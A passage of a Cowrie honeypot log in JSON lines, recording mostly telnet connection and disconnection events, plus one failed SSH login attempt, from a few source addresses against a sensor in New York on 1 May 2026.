88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.303766Z","src_ip":"159.203.92.129","session":"cff738c865f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47062,"dst_ip":"10.17.0.5","dst_port":23,"session":"34edf4fc3dd8","protocol":"telnet","message":"New connection: 152.53.125.71:47062 (10.17.0.5:23) [session: 34edf4fc3dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.325136Z"}
{"eventid":"cowrie.login.failed","username":"altair","password":"altair","message":"login attempt [altair/altair] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.334301Z","src_ip":"159.203.92.129","session":"cff738c865f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.964555263519287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.388726Z","src_ip":"152.53.125.71","session":"a9a8e81a2dff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47066,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1cb4e8ec0a6","protocol":"telnet","message":"New connection: 152.53.125.71:47066 (10.17.0.5:23) [session: f1cb4e8ec0a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.411828Z"}
{"eventid":"cowrie.session.closed","duration":44.63873767852783,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.449086Z","src_ip":"159.203.13.64","session":"290cbe2d48a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995555877685547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.465574Z","src_ip":"152.53.125.71","session":"84b5157282e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47076,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab8590c6c6d7","protocol":"telnet","message":"New connection: 152.53.125.71:47076 (10.17.0.5:23) [session: ab8590c6c6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:15.593204Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:16.340815Z","src_ip":"159.203.92.129","session":"cff738c865f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47082,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f8c0e68edd2","protocol":"telnet","message":"New connection: 152.53.125.71:47082 (10.17.0.5:23) [session: 1f8c0e68edd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:16.354958Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47092,"dst_ip":"10.17.0.5","dst_port":23,"session":"21251e9fe2b4","protocol":"telnet","message":"New connection: 152.53.125.71:47092 (10.17.0.5:23) [session: 21251e9fe2b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:16.471072Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4919a367df9a","protocol":"telnet","message":"New connection: 152.53.125.71:47106 (10.17.0.5:23) [session: 4919a367df9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:16.977421Z"}
{"eventid":"cowrie.session.closed","duration":30.878856658935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:17.194973Z","src_ip":"152.53.125.71","session":"ddf4c5b9e23c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60561990737915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:17.214547Z","src_ip":"152.53.125.71","session":"f68347377ca0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112412214279175,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:17.459464Z","src_ip":"152.53.125.71","session":"a93395430ed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248716354370117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:17.463320Z","src_ip":"152.53.125.71","session":"469d27d43724","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47116,"dst_ip":"10.17.0.5","dst_port":23,"session":"6964ec57fb77","protocol":"telnet","message":"New connection: 152.53.125.71:47116 (10.17.0.5:23) [session: 6964ec57fb77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:17.473777Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":33314,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5dc2b68f2e","protocol":"telnet","message":"New connection: 159.203.13.64:33314 (10.17.0.5:23) [session: 6b5dc2b68f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:17.706756Z"}
{"eventid":"cowrie.session.closed","duration":31.134727239608765,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:18.364451Z","src_ip":"152.53.125.71","session":"f687149c5c2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83204197883606,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:18.374803Z","src_ip":"152.53.125.71","session":"95feada99831","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.182281732559204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:18.405013Z","src_ip":"152.53.125.71","session":"9897a642ce79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.680232524871826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:19.199776Z","src_ip":"152.53.125.71","session":"4cf3893c5e83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03544807434082,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:19.277799Z","src_ip":"152.53.125.71","session":"093d92ae641c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.893205642700195,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:19.340793Z","src_ip":"152.53.125.71","session":"3049e4903142","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47118,"dst_ip":"10.17.0.5","dst_port":23,"session":"196a097b0f87","protocol":"telnet","message":"New connection: 152.53.125.71:47118 (10.17.0.5:23) [session: 196a097b0f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:19.524751Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47134,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e23322223b","protocol":"telnet","message":"New connection: 152.53.125.71:47134 (10.17.0.5:23) [session: e8e23322223b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:20.334088Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34272,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1b1a87e2892","protocol":"telnet","message":"New connection: 159.203.13.64:34272 (10.17.0.5:23) [session: c1b1a87e2892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:20.742792Z"}
{"eventid":"cowrie.session.closed","duration":30.931323051452637,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:21.155008Z","src_ip":"152.53.125.71","session":"09a42acf07f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.682567834854126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:21.195760Z","src_ip":"152.53.125.71","session":"85eb3196b156","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47150,"dst_ip":"10.17.0.5","dst_port":23,"session":"27ee328dfd4e","protocol":"telnet","message":"New connection: 152.53.125.71:47150 (10.17.0.5:23) [session: 27ee328dfd4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:21.234583Z"}
{"eventid":"cowrie.session.closed","duration":30.694145917892456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:21.453148Z","src_ip":"152.53.125.71","session":"f64d36741127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.849838495254517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:22.118567Z","src_ip":"152.53.125.71","session":"966a72d101b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86684799194336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:22.248635Z","src_ip":"152.53.125.71","session":"4b553c2b231a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47164,"dst_ip":"10.17.0.5","dst_port":23,"session":"97a98405328e","protocol":"telnet","message":"New connection: 152.53.125.71:47164 (10.17.0.5:23) [session: 97a98405328e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:22.263485Z"}
{"eventid":"cowrie.session.closed","duration":31.10708975791931,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:22.367855Z","src_ip":"152.53.125.71","session":"b048251fb2e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11714768409729,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:22.471887Z","src_ip":"152.53.125.71","session":"a53688d4b09a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":34522,"dst_ip":"159.203.135.109","dst_port":23,"session":"074e6344b9f6","protocol":"telnet","message":"New connection: 80.252.221.197:34522 (159.203.135.109:23) [session: 074e6344b9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:22.977420Z"}
{"eventid":"cowrie.session.closed","duration":30.891348123550415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.181900Z","src_ip":"152.53.125.71","session":"e10c335d091d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81218194961548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.255721Z","src_ip":"152.53.125.71","session":"43b0d1064374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.062986612319946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.313331Z","src_ip":"152.53.125.71","session":"e3e858e5be0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47176,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9e53d89dcf","protocol":"telnet","message":"New connection: 152.53.125.71:47176 (10.17.0.5:23) [session: 5d9e53d89dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.366784Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47192,"dst_ip":"10.17.0.5","dst_port":23,"session":"b85f0e092313","protocol":"telnet","message":"New connection: 152.53.125.71:47192 (10.17.0.5:23) [session: b85f0e092313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.426351Z"}
{"eventid":"cowrie.session.closed","duration":31.107146739959717,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.455146Z","src_ip":"152.53.125.71","session":"b9a4355ac465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1054470539093,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.503040Z","src_ip":"152.53.125.71","session":"bce901d46b5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"09d77f2c5dae","protocol":"telnet","message":"New connection: 152.53.125.71:47202 (10.17.0.5:23) [session: 09d77f2c5dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:23.572671Z"}
{"eventid":"cowrie.session.closed","duration":3.2631969451904297,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:24.005891Z","src_ip":"159.203.13.64","session":"c1b1a87e2892","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479066133499146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:24.077285Z","src_ip":"152.53.125.71","session":"ba18f55227a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34288,"dst_ip":"10.17.0.5","dst_port":23,"session":"67d6235a1d84","protocol":"telnet","message":"New connection: 159.203.13.64:34288 (10.17.0.5:23) [session: 67d6235a1d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:24.159951Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47218,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c960056938c","protocol":"telnet","message":"New connection: 152.53.125.71:47218 (10.17.0.5:23) [session: 5c960056938c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:24.239766Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":47228,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ba09c22328f","protocol":"telnet","message":"New connection: 152.53.125.71:47228 (10.17.0.5:23) [session: 1ba09c22328f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:24.312814Z"}
{"eventid":"cowrie.session.closed","duration":31.08497905731201,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:25.338299Z","src_ip":"152.53.125.71","session":"5b96d6a9fa8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03049111366272,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:25.426275Z","src_ip":"152.53.125.71","session":"b110aac4c9c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57938,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb23bbe89f2","protocol":"telnet","message":"New connection: 152.53.125.71:57938 (10.17.0.5:23) [session: 1cb23bbe89f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:25.448563Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57944,"dst_ip":"10.17.0.5","dst_port":23,"session":"51e126e50d74","protocol":"telnet","message":"New connection: 152.53.125.71:57944 (10.17.0.5:23) [session: 51e126e50d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:26.232706Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57952,"dst_ip":"10.17.0.5","dst_port":23,"session":"256b77f182aa","protocol":"telnet","message":"New connection: 152.53.125.71:57952 (10.17.0.5:23) [session: 256b77f182aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:26.351615Z"}
{"eventid":"cowrie.session.closed","duration":31.00198984146118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:26.425101Z","src_ip":"152.53.125.71","session":"b4ca4b71f253","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57954,"dst_ip":"10.17.0.5","dst_port":23,"session":"49e88e3d1de1","protocol":"telnet","message":"New connection: 152.53.125.71:57954 (10.17.0.5:23) [session: 49e88e3d1de1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:26.525399Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c4707d0a0e","protocol":"telnet","message":"New connection: 152.53.125.71:57962 (10.17.0.5:23) [session: a9c4707d0a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:26.577003Z"}
{"eventid":"cowrie.session.closed","duration":30.647268056869507,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:27.102637Z","src_ip":"152.53.125.71","session":"9016a3cbd84c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57966,"dst_ip":"10.17.0.5","dst_port":23,"session":"5911d43c6baa","protocol":"telnet","message":"New connection: 152.53.125.71:57966 (10.17.0.5:23) [session: 5911d43c6baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:27.333166Z"}
{"eventid":"cowrie.session.closed","duration":31.118106842041016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:27.373760Z","src_ip":"152.53.125.71","session":"9a5455f90b84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57976,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf49f3cd114","protocol":"telnet","message":"New connection: 152.53.125.71:57976 (10.17.0.5:23) [session: ccf49f3cd114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:27.516924Z"}
{"eventid":"cowrie.session.closed","duration":30.80211114883423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:28.254704Z","src_ip":"152.53.125.71","session":"0d7dc6972d86","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.13275861740112,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:28.432187Z","src_ip":"159.203.13.64","session":"bad96930c44e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34304,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa6a55ab881","protocol":"telnet","message":"New connection: 159.203.13.64:34304 (10.17.0.5:23) [session: ffa6a55ab881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:28.503126Z"}
{"eventid":"cowrie.session.closed","duration":30.810094833374023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:29.092760Z","src_ip":"152.53.125.71","session":"3f06c8e4ad83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":37930,"dst_ip":"159.203.135.109","dst_port":23,"session":"47872ee3bc8d","protocol":"telnet","message":"New connection: 80.252.221.197:37930 (159.203.135.109:23) [session: 47872ee3bc8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:29.481998Z"}
{"eventid":"cowrie.session.closed","duration":30.996483325958252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:30.316959Z","src_ip":"152.53.125.71","session":"58cce9dd794d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947108030319214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:30.371798Z","src_ip":"152.53.125.71","session":"fffb1e1960e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16866946220398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:30.469809Z","src_ip":"152.53.125.71","session":"878d6f901693","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":57992,"dst_ip":"10.17.0.5","dst_port":23,"session":"3da4879888c4","protocol":"telnet","message":"New connection: 152.53.125.71:57992 (10.17.0.5:23) [session: 3da4879888c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:30.527503Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58006,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e14585fc08a","protocol":"telnet","message":"New connection: 152.53.125.71:58006 (10.17.0.5:23) [session: 3e14585fc08a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:31.373259Z"}
{"eventid":"cowrie.session.closed","duration":31.011253595352173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:31.445633Z","src_ip":"152.53.125.71","session":"f039a63ec351","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58014,"dst_ip":"10.17.0.5","dst_port":23,"session":"dca405905192","protocol":"telnet","message":"New connection: 152.53.125.71:58014 (10.17.0.5:23) [session: dca405905192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:31.514419Z"}
{"eventid":"cowrie.session.closed","duration":30.81386661529541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.080365Z","src_ip":"37.97.152.182","session":"6e7d1eacc2cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.97.152.182","src_port":50656,"dst_ip":"10.17.0.5","dst_port":23,"session":"91ffc40ab808","protocol":"telnet","message":"New connection: 37.97.152.182:50656 (10.17.0.5:23) [session: 91ffc40ab808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.105748Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58022,"dst_ip":"10.17.0.5","dst_port":23,"session":"382af1a2df31","protocol":"telnet","message":"New connection: 152.53.125.71:58022 (10.17.0.5:23) [session: 382af1a2df31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.230864Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58030,"dst_ip":"10.17.0.5","dst_port":23,"session":"334f36a72a76","protocol":"telnet","message":"New connection: 152.53.125.71:58030 (10.17.0.5:23) [session: 334f36a72a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.311908Z"}
{"eventid":"cowrie.session.closed","duration":30.80326795578003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.328829Z","src_ip":"152.53.125.71","session":"95ee55d018f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88650941848755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.354115Z","src_ip":"152.53.125.71","session":"58bb162ab315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.124361038208008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.366387Z","src_ip":"152.53.125.71","session":"0580584269b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.125.71","src_port":58038,"dst_ip":"10.17.0.5","dst_port":23,"session":"638cc8274796","protocol":"telnet","message":"New connection: 152.53.125.71:58038 (10.17.0.5:23) [session: 638cc8274796]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:32.465869Z"}
{"eventid":"cowrie.session.closed","duration":30.557260274887085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T01:09:33.184889Z","src_ip":"152.53.125.71","session":"35d0b14219a8","protocol":"telnet"}
